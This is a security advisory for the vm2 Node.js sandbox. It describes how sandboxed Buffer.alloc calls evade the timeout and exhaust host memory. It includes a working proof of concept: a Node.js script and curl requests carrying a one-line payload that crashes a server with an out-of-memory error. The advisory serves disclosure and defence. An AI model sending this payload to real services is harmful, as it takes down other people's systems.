GHSA-6785-pvv7-mvg7

Summary

Sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit.

Details

In lib/vm.js:58, Buffer is exposed to the sandbox through the HOST object. The bridge proxy (lib/bridge.js) passes Buffer.alloc() calls to the host without any size validation.

Key technical distinction from regular JavaScript memory exhaustion (e.g., while(true) a.push(...)):

• JavaScript loops: V8 can interrupt via timeout — vm2's timeout option works
• Buffer.alloc(N): Executes as a single synchronous C++ call — V8 timeout has no opportunity to interrupt

This means:

1. timeout: 5000 does NOT protect against this attack
2. A single call allocates the entire requested size at once
3. In memory-constrained environments (Docker, Lambda, Kubernetes pods), this causes immediate OOM crash

Tested amplification factor: ~100 bytes HTTP request — 1,000,000:1 or greater (100 bytes request to 100MB+ host heap allocation).

PoC

Library-level PoC (Node.js script — primary):

const { VM } = require("vm2");
const vm = new VM({ timeout: 5000 });

// Buffer.alloc bypasses timeout — allocates 100MB on host heap
const result = vm.run(`Buffer.alloc(1024*1024*100).length`);
console.log(result); // 104857600 — timeout had no effect

// Control test — JavaScript loop IS caught by timeout
try {
  vm.run(`var a=[]; while(true) a.push(1)`);
} catch(e) {
  console.log(e.message); // "Script execution timed out after 5000ms"
}

HTTP demonstration (OOM crash):

# 1. Confirm server is running
curl -s http://localhost:3000/api/execute \
  -X POST -H "Content-Type: application/json" \
  -d '{"code":"\"alive\""}'
# => {"result":"\"alive\""}

# 2. Send Buffer.alloc payload — process crashes with OOM
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"Buffer.alloc(1024*1024*100).length"}'
# => empty response (process died)

# 3. Check server logs:
# FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory

# Control test — JavaScript loop IS caught by timeout:
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"var a=[]; while(true) a.push(1)"}'
# => {"errors":["Script execution timed out after 5000ms"]}
# Server stays alive — timeout works for JS, but NOT for Buffer.alloc

Impact

• DoS: A single HTTP request crashes the host Node.js process via OOM. The timeout option provides no protection.
• Environment-dependent severity:
  • Memory-constrained environments (Docker with memory limits, Kubernetes pods, Lambda): The allocation exceeds the memory limit, causing immediate process termination via OOM. This is the primary threat scenario — FATAL ERROR: Reached heap limit was confirmed in testing.
  • Unconstrained environments: The allocation succeeds and memory is reclaimed by GC after the request completes, resulting in temporary performance degradation rather than a crash.
• Scope: All applications using vm2. Default configuration is vulnerable. Memory-constrained environments (Docker, Kubernetes, Lambda) are most severely impacted.